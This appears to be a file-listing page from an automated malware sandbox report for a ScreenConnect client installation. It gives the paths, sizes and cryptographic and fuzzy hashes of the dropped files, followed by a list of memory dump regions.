SHA1 90b4a09a962a40cbc35459e6cb311d91d697cdc4
SHA512 bd20882190360d569cc03cbff1b9c81e52a9070b63c51a42ac6e8e73513e308a83a6fe8e354061f4d81807c4c5cf9d85c2b0b8087f81644346f08d04cf8082e7
SSDEEP 3072:M39LUHM7ptZ8UKOGw5vMWSuRy1YaDJkflQn3H+QDO/6Q+cxbr0qMGe:M3uH2aCGw1ST1wQLdqve
TLSH
T1FE248C327090807EE7FA1A32D93F9A617E7DF6241760C59E83888C1E5D604D06BF6B67
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Client.en-US.resources

Path C:\Program Files (x86)\ScreenConnect Client (edeffbda3bb6fbcf)\Client.en-US.resources
Size 40KB
SHA256 a707c9f70a99564f5d458e9f015d2a0c7f096499b77319a2e88ffda550b3d35f
MD5 26cf6fc0e20562f859c41ddf7fa55d10
SHA1 cd87eabc98a5cb74fce4cde0769a69e5ef7d04b5
SHA512 5f34006a3115c7176dd3649b1fa1a8ef10b220bb604eb00798b0cdfe82c1e7b205562cacd91990adb7668aa07421beaca7c884e71311e20c9354721a03f6c64b
SSDEEP 768:iHAIpl7veQsS2ZsDD28zfI8BYh8F4K9Tw/LohjKR1GvM8CErWIri:SdplSQsS6sDi8zfI8BYh8F4K9Tw/Loh8
TLSH
T19B030C1277FD0A18F5F36F05BE7A94629D37BD5A2E25C06E1028515E1AB2F80C9B2373
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Client.resources

Path C:\Program Files (x86)\ScreenConnect Client (edeffbda3bb6fbcf)\Client.resources
Size 2KB
SHA256 64da2cfeacfcba97cad701da9288618bc42a20f69dd4a0fe5652ce49ef92524c
MD5 0b47901f2c782922f034fba8e8062916
SHA1 893075f8ca04f92dbef7f6e81223e1b08e29328f
SHA512 b3db1c4ffed1dbaef5e03f4819bcba5f0a6864c26123e059b6a649911adbd380ae3aa1eb63c2397ea1ea5fc61103468b5db838080d7c7d5de848b5002c31cbd6
TLSH
T1B34103CA3BFA2D74F4B79B736EB99050EE35FE1C3566D1AE1406441E2B213099880B33
MD5 SHA1 SHA512 TLSH

Submit Download

ScreenConnect.Client.dll

Path C:\Program Files (x86)\ScreenConnect Client (edeffbda3bb6fbcf)\ScreenConnect.Client.dll
Size 149KB
SHA256 ce8746454da8d3dbe7001a3b835cde85615fcfad85043ad2bb9908175391a5c8
MD5 cf27fb900b85e20c0512c12ab6790d42
SHA1 1d6f06a2ce2572a306961a612f8f0c73c2236d98
SHA512 9ad2d56be5471d3e89018d848590f7ddd003e69045acda5a4c7b62229a7788e1d681215717615cfb5483cc28426ab0a671dd05d0a9493730b748f36856395c22
SSDEEP 3072:1jueviZ2tUqBpQk+mfXKRrzWAOoABi87fJ6fRm:1juR2tpBxsgM878
TLSH
T1C9E39DE7A3941DBECAEF4A33B06105518EB1D980623BF75E5924F8F96A237C006552E3
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ScreenConnect.ClientService.dll

Path C:\Program Files (x86)\ScreenConnect Client (edeffbda3bb6fbcf)\ScreenConnect.ClientService.dll
Size 30KB
SHA256 e7697f114071a7f43ac8337fb38eba92fccd86d09e60fec4a3d32817e791808c
MD5 9361ac2b0bb2c462c3854fc716df650e
SHA1 0df2990360307260ea587e88e35921767b9d8788
SHA512 0eb170c45b13838fd970033b514bf87e060ac3696afddb9979441d15c5c4bc46be50df75920c46dfc9b9f7f32206bd569d732036db63135b9ce800bc30f2a465
SSDEEP 768:VihTknoa3FmoEFl7hfmepgwt6ExtxnLbb3:cgVmoEJfmepLt6Exbb3
TLSH
T14EE2194663B88A3AC9EE8B787876B14106F19A435522E7DC9DC5A0DE5F63BC10B013E7
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ScreenConnect.ClientService.exe

Path C:\Program Files (x86)\ScreenConnect Client (edeffbda3bb6fbcf)\ScreenConnect.ClientService.exe
Size 88KB
SHA256 32cf80081cf0754490fa8287fe22dccb2eac90a82be43fddf75ba446dc0fe406
MD5 70fe56670d9c1101f833ea323dd44bf1
SHA1 e4b1680f0dfd7e6ef7047b946bc88734c72604dc
SHA512 c46dc152f30a38070f62e99cf2ca7b8f872ebed689ab9246c9f381ce3ff3419bbf4dce8e270f469e884bcde235cf7802872cb34ffa0421f9b930e10757469040
SSDEEP 1536:6VnKQbrt7pdnNmhno7GcqbksWjcdLyXN4WAutMw8N/:68wt7TvmbLLyXOWAutM
TLSH
T16B937D22B6D19472E4B7063258B8CE510B3EFE274F71999B778C024E5A742C09B39B77
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ScreenConnect.Windows.dll

Path C:\Program Files (x86)\ScreenConnect Client (edeffbda3bb6fbcf)\ScreenConnect.Windows.dll
Size 1.7MB
SHA256 6e02adef60c2159ce2fdaa9433e485173be10a55a746f1143c89e9298f995c21
MD5 9d2f7e5224ee536239d3d4ae0ca196be
SHA1 3ce74f605b29f8a1a3e9ea3e19601edede57305f
SHA512 46de46408c761092c7120b4f514a34494e8a49d34628c860c0e0aaa1ad13b2ce0efc0a0a556162e4c75609b50b35a69e1aae183369b52f959d1ad230eaa15a66
SSDEEP 24576:8ZqhtdrimVsJq2l6TOKoMjSvShvU86+RfmT01krTFiH4SqfKPTsUTHEWEZfM14wj:8Zqhri963PSumT0+TFiH7efPp3Z0
TLSH
T1A185AE42F2D211F5D46B047888BE561BFB747C090360CBAF97D46E66AE337D09A3A352
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ScreenConnect.WindowsClient.exe

Path C:\Program Files (x86)\ScreenConnect Client (edeffbda3bb6fbcf)\ScreenConnect.WindowsClient.exe
Size 544KB
SHA256 40e3eb113b8eccba4db7df6e18abebe8555a3ccefac75b76c24cf4004657e71a
MD5 8399cb5d506e396bf4144e3c7d183522
SHA1 7b3573f018a457009a8ce3ead6514ea096c41a91
SHA512 3a9b24d4ebd2e1777386f80d7895bbac3194b72991a0e0d3d2ef6d3794a40191c47c35fa30cf1c8261d78b1347459b4874de643c72e856bb6d7d43c7e893809c
SSDEEP 12288:qKOC7a3MaeGaJBAMame/U4Me0muMbsaB5:qKO5ExYU4h/1
TLSH
T151C46B2237B88A2ACDFF1779A0355C0457F4F98669C6EB4FC814B4DA2F973814E06297
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ScreenConnect.WindowsClient.exe.config

Path C:\Program Files (x86)\ScreenConnect Client (edeffbda3bb6fbcf)\ScreenConnect.WindowsClient.exe.config
Size 266B
SHA256 87c640d3184c17d3b446a72d5f13d643a774b4ecc7afbedfd4e8da7795ea8077
MD5 728175e20ffbceb46760bb5e1112f38b
SHA1 2421add1f3c9c5ed9c80b339881d08ab10b340e3
SHA512 fb9b57f4e6c04537e8fdb7cc367743c51bf2a0ad4c3c70dddab4ea0cf9ff42d5aeb9d591125e7331374f8201cebf8d0293ad934c667c1394dc63ce96933124e7
TLSH
T12CD05E5418D4FC1B5E324A6767628959EF70E2D280A84808B49F1573062309A4397322
MD5 SHA1 SHA512 TLSH

Submit Download

system.config

Path C:\Program Files (x86)\ScreenConnect Client (edeffbda3bb6fbcf)\system.config
Size 889B
SHA256 e0147be8f430f2f676b67aeb41c7c53ef86b23e749ef14b704d68c583d84cc67
MD5 35cc2eed8049167d9338bb39d735ac3c
SHA1 a5dbc1ccfde0dc4eb32aaae83cc1ea5ccf5cb25c
SHA512 43e99a21a2bfeb60b4e1892f1b8cf43f3c0603a52c8dda271ba3dab24403d7a852e55d2e152a5dfb283e24824afcc2a963d9e5f011e04b349b487b7c47958316
TLSH
T1701123263684BC6B09B28D21C502CA01EEB058870110646879FD53779F318DF1BA39D5
MD5 SHA1 SHA512 TLSH

Submit Download

MSI792E.tmp

Path C:\Users\Admin\AppData\Local\Temp\MSI792E.tmp
Size 350KB
SHA256 e42b40c812d92988ed006ea433775b0fd038c0650dce9bc333ea58678cf0af87
MD5 14f78da5c1e7611f062fb3f32279359e
SHA1 621587a820464eff533e8e0767e3da3e32b6af9c
SHA512 f5fb1a5b29af11181d0dfcf733889b75e0ffe8506e0003cede62ffa684c1ec7975de378dfe0c25365b9c4db38ecdf0ee08cc0a1dcb2a3dad5f97505d6994eaf4
SSDEEP 6144:4UUG777hkC5sohCql5niG/2wSeIHisKDXD3AqTc1TnOH:4UUa/hkusohCi2wcCsaXjAji
TLSH
T11A74F21437E98035F2F62B305E7661E01EFD39B16E78864FAB85056C5EB0B81EA74363
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Microsoft.Deployment.WindowsInstaller.dll

Path C:\Users\Admin\AppData\Local\Temp\MSI792E.tmp-\Microsoft.Deployment.WindowsInstaller.dll
Size 172KB
SHA256 3e54286e348ebd3d70eaed8174cca500455c3e098cdd1fccb167bc43d93db29d
MD5 5ef88919012e4a3d8a1e2955dc8c8d81
SHA1 c0cfb830b8f1d990e3836e0bcc786e7972c9ed62
SHA512 4544565b7d69761f9b4532cc85e7c654e591b2264eb8da28e60a058151030b53a99d1b2833f11bfc8acc837eecc44a7d0dbd8bc7af97fc0e0f4938c43f9c2684
SSDEEP 3072:FkfZS7FUguxN+77b1W5GR69UgoCaf8TpCnfKlRUjW01Ky4:x+c7b1W4R6joxfQE
TLSH
T14E045B2563FC473ECAEF87B4E2624251E7B2E2E97113DB0DDC8541AA2522780F792753
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ScreenConnect.Core.dll

Path C:\Users\Admin\AppData\Local\Temp\MSI792E.tmp-\ScreenConnect.Core.dll
Size 422KB
SHA256 7e6ce6024cc7bcdbf330b261136143ab1cf645126cda46ec92f6a16d84fc5569
MD5 9500fb92906802d829a8957b632decd4
SHA1 763dec38003e4d962ffb2208e688cde6cc11666d
SHA512 aa69200cc86833182057d51c4643aefdf5d82412d4671c912299d20e1283c8a6e202817f343eb3bdfe6f201885614e36d3d414838f9da358f5852b566219077e
SSDEEP 6144:PmYJnjU33ydzFaD6FdHt3ilRw4T9m2DNDphU6H/Gx+TZx4k/PjZu3a:PvvFa6EQOm2Du6y
TLSH
T16A945D156F98C77AC66D4736B03418194370D907718AE7EB7B9AE9752EC738A8C002FB
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ScreenConnect.InstallerActions.dll

Path C:\Users\Admin\AppData\Local\Temp\MSI792E.tmp-\ScreenConnect.InstallerActions.dll
Size 17KB
SHA256 38751faf3522da31b3b19f0578e0c0085536ed4b85803e7f0a71a5b369ba16a1
MD5 73573ba2c25284f45e546f46becd9e4e
SHA1 38d60f07e87a399736412932d470c1b339c84e86
SHA512 34d92798a941a36acf1dd76a1affc62e0c8fa06640b1d2c936e3781ac68a82a40b0cdc8f588df0df82b257094c1462944fad95bfb81ff77a90002b704b64da2a
SSDEEP 384:yDKSTolrJKlr1aNdeFarMx61kjvfU5ydoTbW:yOSTollKlkWFjY5y+bW
TLSH
T128827101B7EC862AF6FF3F75A9B201500A72BDA2AC35EB1E1980505E4D71F448A60B77
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

setup.msi

Path C:\Users\Admin\AppData\Local\Temp\setup.msi
Size 1.8MB
SHA256 eafbac9c6339b7ba58e7affb56a163ea5db6c48fa45980803e5f70511ff9056b
MD5 84fa20ac16e48fee59c4b5320ac10882
SHA1 90cd75250c035e74a80584a5222a390469a9a962
SHA512 c060f4ded58f9d3d9b79bc0769d35ae942d616656ac6a3842aa1416c79ee26071613a1d431920f37e6969a4a6d3ca77b1727fff94298ce14b5729beb4448fb12
SSDEEP 24576:yCmJMG01nzy+HWEdqYcoalZX62nzj2DqTW60uBbunCspMUUGGuogTGaurhwQUv:yCmJMJzLHWEdLaz62fayyCCXGupG91g
TLSH
T13195F03132E4C039E2B61A39D93A91F05A79BD64DA23C54F83647D6D7970D809AB3373
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

MSIC357.tmp

Path C:\Windows\Installer\MSIC357.tmp
Size 202KB
SHA256 3cff4ac91288a0ff0c13278e73b282a64e83d089c5a61a45d483194ab336b852
MD5 ba84dd4e0c1408828ccc1de09f585eda
SHA1 e8e10065d479f8f591b9885ea8487bc673301298
SHA512 7a38418f6ee8dbc66fab2cd5ad8e033e761912efc465daa484858d451da4b8576079fe90fd3b6640410edc8b3cac31c57719898134f246f4000d60a252d88290
SSDEEP 3072:X9LUHM7ptZ8UKOGw5vMWSuRy1YaDJkflQn3H+QDO/6Q+cxbr0qMG:XuH2aCGw1ST1wQLdqv
TLSH
T129147C326494803EE7F91A36D93E9A61AE7DF6241760C99EC3848C0E5D604D06BF7B27
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

metadata-2

Path \??\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\System Volume Information\SPP\metadata-2
Size 26.1MB
SHA256 ba7f23b754e5333b8d9f456ef5aead4613eac71ed59753b4e351cff5ce1209e9
MD5 f81dee30987d2503312924a7c0554511
SHA1 f3130c097fd710b4cad333e936e542c4e811c5c8
SHA512 bc7bcd633c61a26f54b053096f6bfec9d56b0ff73d06fd04b1e8b87e5d5c63efd34d5d9d40945d5baddd280a783e73892e8bd0b33912c3287f9441d3842f700a
SSDEEP 24576:SFo3DMPMdoO/vvTL/Sgn3iFwfru9MrwkEqhl9qJfBiJ6JQ2XMYR23uNmz+z:THk
TLSH
T1C357022472F92211E7F39E3CA8F06A23493E7D9B9C15DE8D45411B4E0862F71E872F66
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

{e1511018-4d59-4ac2-95f7-7d9978b4e6ba}_OnDiskSnapshotProp

Path \??\Volume{e3f46304-0000-0000-0000-d08302000000}\System Volume Information\SPP\OnlineMetadataCache\{e1511018-4d59-4ac2-95f7-7d9978b4e6ba}_OnDiskSnapshotProp
Size 6KB
SHA256 d8c7361b7faa9b7f6648a09fd42e4ae30649fc5e148321a2fd0850acb38e9f00
MD5 16e01f46a0bc272b868a11b3ce89f79d
SHA1 3a6c0d612dca98249b0f14b0e9ef7125e42427fa
SHA512 80806d73efd8adfd54634e12b112097bf37f7d90103635e051e160f9461bd442fd89910c77df70ffb2af2e04e259689daac168447fdbcd5674307814a6d387dd
SSDEEP 96:FMRGj/vc6DD84LTHzbOHXOHBlBRQn8Sc9XE56tOSVQpu:KRqb++uVm
TLSH
T160D188184AF54711E2B3AB3129F18557A877B911FF33CB8E0198238E6670A10F975F6B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

memory/472-106-0x0000000000420000-0x00000000004AC000-memory.dmp

Download

memory/472-110-0x000000001BA10000-0x000000001BB98000-memory.dmp

Download

memory/472-109-0x000000001B6C0000-0x000000001B878000-memory.dmp

Download

memory/472-108-0x000000001B490000-0x000000001B500000-memory.dmp

Download

memory/472-107-0x0000000002650000-0x000000000267C000-memory.dmp

Download

memory/472-121-0x00000000024C0000-0x00000000024CE000-memory.dmp

Download

memory/1984-81-0x0000000001580000-0x000000000158E000-memory.dmp

Download

memory/1984-101-0x0000000004320000-0x0000000004370000-memory.dmp

Download

memory/1984-94-0x0000000003C70000-0x0000000003E28000-memory.dmp

Download

memory/1984-95-0x0000000003E30000-0x0000000003FB8000-memory.dmp

Download

memory/1984-87-0x0000000003930000-0x000000000395C000-memory.dmp

Download

memory/1984-100-0x0000000004290000-0x000000000431C000-memory.dmp

Download

memory/5620-27-0x0000000003AB0000-0x0000000003ADE000-memory.dmp

Download

memory/5620-35-0x0000000003BC0000-0x0000000003C30000-memory.dmp

Download

memory/5620-31-0x0000000003AF0000-0x0000000003AFA000-memory.dmp

Download

memory/5796-6-0x0000000005400000-0x00000000055B8000-memory.dmp

Download

memory/5796-0-0x00000000750C2000-0x00000000750C3000-memory.dmp

Download

memory/5796-4-0x0000000002CD0000-0x0000000002CE8000-memory.dmp

Download

memory/5796-7-0x00000000750B0000-0x000000007586C000-memory.dmp

Download

memory/5796-5-0x0000000005340000-0x00000000053B0000-memory.dmp

Download

memory/5796-8-0x00000000750B0000-0x000000007586C000-memory.dmp

Download

memory/5796-9-0x00000000750B0000-0x000000007586C000-memory.dmp

Download

memory/5796-3-0x00000000750B0000-0x000000007586C000-memory.dmp

Download

memory/5796-11-0x00000000750B0000-0x000000007586C000-memory.dmp

Download

memory/5796-2-0x00000000055D0000-0x000000000579A000-memory.dmp

Download

memory/5796-1-0x0000000002C30000-0x0000000002C38000-memory.dmp

Download